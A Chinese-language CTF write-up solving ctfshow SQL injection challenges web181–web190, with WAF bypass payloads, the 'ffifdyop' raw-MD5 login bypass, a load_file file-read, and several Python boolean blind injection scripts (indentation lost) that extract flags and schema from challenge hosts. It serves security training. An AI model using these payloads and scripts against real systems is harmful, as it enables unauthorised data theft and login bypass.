web181
解答:waf过滤了很多。
空格过滤了很多,select也被过滤了。
题目的where语句处是and连接两个条件。可以考虑运算符优先级。
mysql操作符优先级:(数字越大,优先级越高)
优先级 | 运算符 |
---|---|
1 | := |
2 | || , OR , XOR |
3 | && , AND |
4 | NOT |
5 | BETWEEN, CASE, WHEN, THEN, ELSE |
6 | = , <=> , >= , > , <= , < , <> , != , IS, LIKE, REGEXP, IN |
7 | | |
8 | & |
9 | << , >> |
10 | - , + |
11 | * , / , DIV, % , MOD |
12 | ^ |
13 | - (一元减号), ~ (一元比特反转) |
14 | ! |
15 | BINARY, COLLATE |
and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1
可以让where直接查找flag,最后的payload为:-1'||username='flag
这道题%0c
也可以:-1'%0cor%0cusername='flag
题目说过滤了%0c
,但依旧可以用%0c
,应该是实际代码没有把\x0c
加上。(我本地测试的时候,并不通)
这个题告诉我们,这种看着被过滤了,特别是这种复制粘贴不是源码高亮的,我们要大胆尝试,万一只是虚晃一招,没过滤呢。(当然,这应该只是出题人的疏漏,需要碰运气)
web182
解答:增加了flag过滤。like可以模糊匹配
%0c
在本题依旧可用。
payload:-1'||(username)like'%fla%
like可以用两个通配符(不区分大小写):
字符 | 说明 |
---|---|
% | 匹配任何数目的字符,甚至包括零字符 |
_ | 只能匹配一种字符 |
web183
题目:
解答:waf又增加了一些,题目也有变化了。查询到的结果会返回到下面第三个灰块那里。
select不能用,就只能选择布尔盲注或者时间盲注了。
这题的解法是在已知表名的情况下实现的,再结合模糊匹配like或者正则匹配regexp。
写脚本前先测试一下语句是否能正常执行,可以的话,再写到脚本里。
因为每次查询记录总数都是1条,就是我们要找的flag,所以页面固定会出现$user_count = 1;
,可以用布尔盲注。
tableName=`ctfshow_user`where`pass`like'ctfshow{%'
wp的脚本:(payload可以用regexp和like,我把like的也放在脚本里了。)
import requests
import time
url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag=""
for i in range(0,34):
for x in flagstr:
data={
"tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
#"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x)
}
response=requests.post(url,data=data)
#有并发数量限制的题目,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow"+flag)
web184
题目:
解答:过滤的有点多,where、单双引号、反引号都被过滤了,但是本题没有过滤空格。
where可以用having代替,单双引号可以用 括号+十六进制。
查看官方文档,看看select语法。发现having和where可以替换,但是having语句有使用条件。
一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前。
十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
测试语句成功:
ctfshow_user group by pass having pass like 0x63746673686f777b25
把上题的脚本修改一下就能用了:
import requests
import time
url="http://24873af7-39c6-4235-85e2-f6433b80f182.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" #40
flag=""
for i in range(0,40):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x))
}
#print(data)
response=requests.post(url,data=data)
#有并发数量限制的,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow{"+flag)
循环次数写的有点多,可以加个if判断,或者看到flag手动中断。
web185
题目:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
解答:
数字被过滤了,就要考虑如何构造纯字母的匹配。
翻阅官方文档的字符串方法和操作部分,发现concat方法,可以构造字符串。
(跟着群主的做题路线走,终有一天可以成为大神,哈哈哈)
然后测试看看是否可以构造字符,成功将数字拼接。
然后就是各种试错,直到找到能跑出结果的paylaod。(附上最后本地跑出的字符串,可喜可贺~)
最后上脚本:
(我的formatString是自己写的,看着有些啰嗦哈,没有群主的简洁)
import requests
import time
import string
def formatString(str):
temp="concat("
for x in str:
tip=0
if x in string.digits:
tmp=int(x)
else:
tip=1
temp+="char("
tmp=ord(x)
if tmp == 0:
temp+="false"
else:
temp_d="("
for i in range(0,tmp):
temp_d+="true+"
temp_d=temp_d[:-1]+")"
if tip==1:
temp_d+=")"
temp+=temp_d
temp+=","
temp=temp[:-1]+")"
return temp
#print(formatString("0x63746673686f777b"))
url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php"
#dic的顺序可以改一下!我是懒得改了!改顺序可以提高效率!!!
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag="ctfshow{"
for i in range(0,40):
for x in dic:
data={
"tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
}
#print(data)
response=requests.post(url,data=data)
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("[**] {} is right".format(x))
flag+=x
break
else:
#print("[--] {} is wrong".format(x))
continue
print("[flag]:"+flag)
web186
题目:
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
解答:增加了尖括号,^
、%
的过滤。
上题的payload可用。
web187
题目:是个用户登录窗口
解答:本题和web181类似,都是通过1 and 0 or 1
达到目的。
题中$password = md5($_POST['password'],true);
,将md5函数的第二参数设置为了true。
string md5( string $str[, bool $raw_output = false] )
- raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
这里的二进制格式,并不是指转成0101,而是binary mode。
对这个函数的进行本地测试,看一下:
ffifdyop
是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。
通过本题测试可知,设置为true后,sql在查询时的语句就变成了:
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';
在官方手册中,指出比较操作中值有1(TRUE),0(FALSE)或者NULL。字符串可以自动转换为数字。
下面是字符串转换为数字的操作实例:
所以上面的sql语句就构成了1 and 0 or 1
这样的操作,也就实现了admin登录。
然后就直接用admin和ffifdyop登录即可获取flag。这里注意抓包,或者看源码。
web188
解答:根据题目可知只要登录成功,就会返回flag。密码只能输入数字。
查询语句的where判断是username={$username}
,并没有引号包裹,那么就可以输入数字了。
sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin
,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。(具体的在web187中有提到)
然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
成功登录,获取到了flag。
web189
提示:flag在api/index.php文件中
解答:password依然是弱比较。
注入点在username,需要通过它来读取api/index.php文件的内容。看一下username的过滤,or
和|
,select
都被过滤了,不能直接联合查询了,into
不能写入文件。
那么用load_file读取文件,文件的完整路径是/var/www/html/api/index.php
,对文件内容读取形式采取逐字符if判断的盲注形式。看一下登录的返回情况有没有差别:
username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)
那么就可以利用这个进行布尔盲注,适当修改web183的脚本即可。
群主的脚本,上!
import requests
import time
url = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)
web190
解答:这次的查询语句里加上了单引号:username = '{$username}'
。
密码依然是和数字弱类型比较。
单引号闭合看一下。
登录的返回逻辑和上题一样,所以还是用布尔盲注,没有啥过滤。
采用二分法:
import requests
import sys
import time
url = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid